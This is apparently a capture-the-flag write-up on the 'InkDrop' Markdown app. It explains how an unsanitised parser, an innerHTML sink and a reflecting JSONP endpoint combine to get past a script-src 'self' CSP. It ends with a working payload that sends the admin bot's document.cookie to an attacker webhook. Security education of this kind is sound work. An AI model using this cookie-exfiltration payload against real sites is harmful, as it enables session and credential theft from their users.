In this challenge, we are presented with a markdown based application called "InkDrop." The goal is to steal the flag from the administrator ("Moderator") by exploiting a Cross-Site Scripting (XSS) vulnerability.
The application allows users to create posts using Markdown. While reviewing app.py, I found that it uses a custom regex based parser instead of a standard library like markdown-it or bleach.
While the parser effectively converts markdown syntax (like **bold** or ### Header) into HTML, it fails to sanitize or escape existing HTML tags.
# app.py
def render_markdown(content):
html_content = content
# ... (Regex substitutions for headers, bold, etc) ...
html_content = re.sub(r'\[(.+?)\]\((.+?)\)', r'<a href="\2">\1</a>', html_content)
html_content = html_content.replace('\n\n', '</p><p>')
html_content = f'<p>{html_content}</p>'
return html_contentSince html_content is initialized with the raw input (content) and never sanitized, any HTML tags we inject (e.g., <script>, <img>, <iframe>) are rendered directly into the page.
The frontend uses static/js/preview.js to fetch the rendered post and display it. It uses .innerHTML, which is a classic XSS sink.
// static/js/preview.js
fetch('/api/render?id=' + postId)
.then(response => response.json())
.then(data => {
const preview = document.getElementById('preview');
preview.innerHTML = data.html; // [!] Injection Sink
processContent(preview);
});Typically, adding a <script> tag via .innerHTML does not execute the script due to a browser security feature. However, the developers included a helper function, processContent, which manually recreates and executes specific scripts:
function processContent(container) {
const scripts = container.querySelectorAll('script');
scripts.forEach(function(script) {
// [!] The Condition: Script is executed ONLY if src contains '/api/'
if (script.src && script.src.includes('/api/')) {
const newScript = document.createElement('script');
newScript.src = script.src;
document.body.appendChild(newScript);
}
});
}This logic introduces a specific constraint. we can execute JavaScript, but only if the script source includes /api/.
Even with the ability to inject scripts, we hit a wall. The application enforces a Content Security Policy (CSP) defined in post_view.html:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src * data:; connect-src *;">script-src 'self': Scripts can only be loaded from the same origin (domain) as the application.- We cannot use
<script src="http://attacker.com/evil.js">.
We need a script that:
- Is hosted on the challenge server (satisfies
script-src 'self'). - Contains
/api/in the URL (satisfies theprocessContentcheck). - Allows us to execute arbitrary JavaScript code.
Examining app.py again, I found a JSONP (JSON with Padding) endpoint designed to return user data.
# app.py
@app.route('/api/jsonp')
def api_jsonp():
# 1. User controls the callback name
callback = request.args.get('callback', 'handleData')
# 2. Simple sanitization (easy to bypass for JS execution)
if '<' in callback or '>' in callback:
callback = 'handleData'
user_data = { ... }
# 3. Reflection: The input is reflected directly into the response
response = f"{callback}({json.dumps(user_data)})"
return Response(response, mimetype='application/javascript')- Origin: It is hosted on the same domain, bypassing CSP.
- Path: It includes
/api/, satisfying thepreview.jsloader. - Reflection: It reflects the
callbackparameter into the JavaScript response.
If we request /api/jsonp?callback=alert(1)//, the server responds with:
alert(1)//({"authenticated": false, ...})This is valid JavaScript that executes alert(1).
The final piece of the puzzle is understanding the target. The bot/bot.py script simulates an admin visiting the post.
context.add_cookies([{
'name': 'flag',
'value': FLAG,
'httpOnly': False, // [!] Vulnerability
...
}])Since httpOnly is set to False, the cookie can be accessed via JavaScript using document.cookie.
We combine the findings into a single payload.
The Strategy:
- Create a markdown post containing a
<script>tag. - Set the
srcto the local JSONP endpoint. - Use the
callbackparameter to inject our malicious JS code. - The JS code will
fetchthe flag and send it to our webhook.
The Payload:
<script src="/api/jsonp?callback=fetch('https://webhook/?c='+document.cookie);//"></script>- Create a post with the above payload.
- Report the post to the moderator (the bot).
- The bot visits the post:
preview.jsfetches the rendered HTML..innerHTMLinjects the script tag.processContentdetects the script, sees itssrchas/api/, and loads it into DOM.- The browser loads the script from
/api/jsonp?callback=...(allowed by CSP). - The JSONP response is executed:
fetch(...)sendsdocument.cookieto our webhook.
- We receive the flag in our webhook logs.
Flag: INTIGRITI{...}
This challenge demonstrated a classic "Script Gadget" attack. Even with a strict CSP like script-src 'self', apps can still be at risk if they have endpoints (like JSONP) that reflect user input into JavaScript. Using a strong HTML sanitizer like DOMPurify before rendering Markdown could have prevented this problem.